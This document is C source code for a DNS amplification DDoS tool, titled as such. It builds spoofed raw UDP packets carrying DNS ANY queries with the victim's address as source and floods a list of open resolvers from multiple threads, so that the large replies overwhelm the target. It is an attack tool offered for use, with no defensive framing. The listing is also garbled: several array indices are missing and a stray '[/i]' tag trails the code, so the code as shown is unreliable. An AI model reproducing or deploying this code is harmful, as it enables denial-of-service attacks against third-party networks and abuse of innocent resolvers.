/* DNS AMPLIFICATION DDOS SKRIPT */
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 25
static uint32_t Q[4096], c = 362436;
struct list
{
struct sockaddr_in data;
char domain[512];
int line;
struct list *next;
struct list *prev;
};
struct list *head;
struct thread_data{
int thread_id;
struct list *list_node;
struct sockaddr_in sin;
int port;
};
struct DNS_HEADER
{
unsigned short id; // identification number
unsigned char rd :1; // recursion desired
unsigned char tc :1; // truncated message
unsigned char aa :1; // authoritive answer
unsigned char opcode :4; // purpose of message
unsigned char qr :1; // query/response flag
unsigned char rcode :4; // response code
unsigned char cd :1; // checking disabled
unsigned char ad :1; // authenticated data
unsigned char z :1; // its z! reserved
unsigned char ra :1; // recursion available
unsigned short q_count; // number of question entries
unsigned short ans_count; // number of answer entries
unsigned short auth_count; // number of authority entries
unsigned short add_count; // number of resource entries
};
//Constant sized fields of query structure
struct QUESTION
{
unsigned short qtype;
unsigned short qclass;
};
//Constant sized fields of the resource record structure
struct QUERY
{
unsigned char *name;
struct QUESTION *ques;
};
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
int lock = 0 , i;
strcat((char*)host,".");
for(i = 0 ; i < strlen((char*)host) ; i++)
{
if(host[i]=='.')
{
*dns++ = i-lock;
for(;lock<i;lock++)
{
*dns++=host[lock];
}
lock++; //or lock=i+1;
}
}
*dns++='\0';
}
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
Q = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q = r - x);
}
/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_udp_header(struct udphdr *udph)
{
}
void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
char strPacket[MAX_PACKET_SIZE];
int iPayloadSize = 0;
struct sockaddr_in sin = td->sin;
struct list *list_node = td->list_node;
int iPort = td->port;
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(s < 0)
{
fprintf(stderr, "Error: Could not open raw socket. Root privileges are required!\n");
exit(-1);
}
//init random
init_rand(time(NULL));
// Clear the data
memset(strPacket, 0, MAX_PACKET_SIZE);
// Make the packet
struct iphdr *iph = (struct iphdr *) &strPacket;
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + 38;
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
iPayloadSize += sizeof(struct iphdr);
struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
udph->source = htons(iPort);
udph->dest = htons(53);
udph->check = 0;
iPayloadSize += sizeof(struct udphdr);
struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
dns->id = (unsigned short) htons(rand_cmwc());
dns->qr = 0; //This is a query
dns->opcode = 0; //This is a standard query
dns->aa = 0; //Not Authoritative
dns->tc = 0; //This message is not truncated
dns->rd = 1; //Recursion Desired
dns->ra = 0; //Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->ad = 0;
dns->cd = 0;
dns->rcode = 0;
dns->q_count = htons(1); //we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = htons(1);
iPayloadSize += sizeof(struct DNS_HEADER);
sin.sin_port = udph->source;
iph->saddr = sin.sin_addr.s_addr;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
char strDomain[512];
int i;
int j = 0;
int iAdditionalSize = 0;
while(1)
{
if(j==2){
usleep(100);
j=0;
}
//set the next node
list_node = list_node->next;
//Clear the old domain and question
memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
//add the chosen domain and question
iAdditionalSize = 0;
unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
strcpy(strDomain, list_node->domain);
ChangetoDnsNameFormat(qname, strDomain);
//printf("!!%s %d\n", list_node->domain, list_node->line);
iAdditionalSize += strlen(qname) + 1;
struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
qinfo->qclass = htons(1);
iAdditionalSize += sizeof(struct QUESTION);
strPacket[iPayloadSize + iAdditionalSize] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
iAdditionalSize += 11;
//set new node data
iph->daddr = list_node->data.sin_addr.s_addr;
udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
iph->tot_len = iPayloadSize + iAdditionalSize;
udph->source = htons(rand_cmwc() & 0xFFFF);
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
//send
for(i = 0; i < PACKETS_PER_RESOLVER; i++)
{
sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
}
j++;
}
}
void ParseResolverLine(char *strLine, int iLine)
{
char caIP[32] = "";
char caDNS[512] = "";
int i;
char buffer[512] = "";
int moved = 0;
for(i = 0; i < strlen(strLine); i++)
{
if(strLine == ' ' || strLine == '\n' || strLine == '\t')
{
moved++;
continue;
}
if(moved == 0)
{
caIP[strlen(caIP)] = (char) strLine;
}
else if(moved == 1)
{
caDNS[strlen(caDNS)] = (char) strLine;
}
}
//printf("Found resolver %s, domain %s!\n", caIP, caDNS);
if(head == NULL)
{
head = (struct list *)malloc(sizeof(struct list));
bzero(&head->data, sizeof(head->data));
head->data.sin_addr.s_addr=inet_addr(caIP);
head->data.sin_port=htons(53);
strcpy(head->domain, caDNS);
head->line = iLine;
head->next = head;
head->prev = head;
}
else
{
struct list *new_node = (struct list *)malloc(sizeof(struct list));
memset(new_node, 0x00, sizeof(struct list));
new_node->data.sin_addr.s_addr=inet_addr(caIP);
new_node->data.sin_port=htons(53);
strcpy(new_node->domain, caDNS);
new_node->prev = head;
head->line = iLine;
new_node->next = head->next;
head->next = new_node;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 4)
{
fprintf(stderr, "Invalid parameters!\n");
fprintf(stderr, "Usage: %s <target> <port> <nameserver file> <threads> [time]\n", argv[0]);
exit(-1);
}
head = NULL;
char *strLine = (char *) malloc(256);
strLine = memset(strLine, 0x00, 256);
char strIP[32] = "";
char strDomain[256] = "";
int iLine = 0; // 0 = ip, 1 = domain.
FILE *list_fd = fopen(argv[3], "r");
while(fgets(strLine, 256, list_fd) != NULL)
{
ParseResolverLine(strLine, iLine);
iLine++;
}
int i = 0;
int num_threads = atoi(argv[4]);
struct list *current = head->next;
pthread_t thread[num_threads];
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr(argv[1]);
struct thread_data td[num_threads];
int iPort = atoi(argv[2]);
printf("Target: %s:%d\n", argv[1], iPort);
for(i = 0; i < num_threads; i++)
{
td.thread_id = i;
td.sin= sin;
td.list_node = current;
td.port = iPort;
pthread_create( &thread, NULL, &flood, (void *) &td);
}
fprintf(stdout, "Starting flood..\n");
if(argc > 4)
{
sleep(atoi(argv[5]));
}
else
{
while(1)
{
sleep(1);
}
}
return 0;
}[/i]
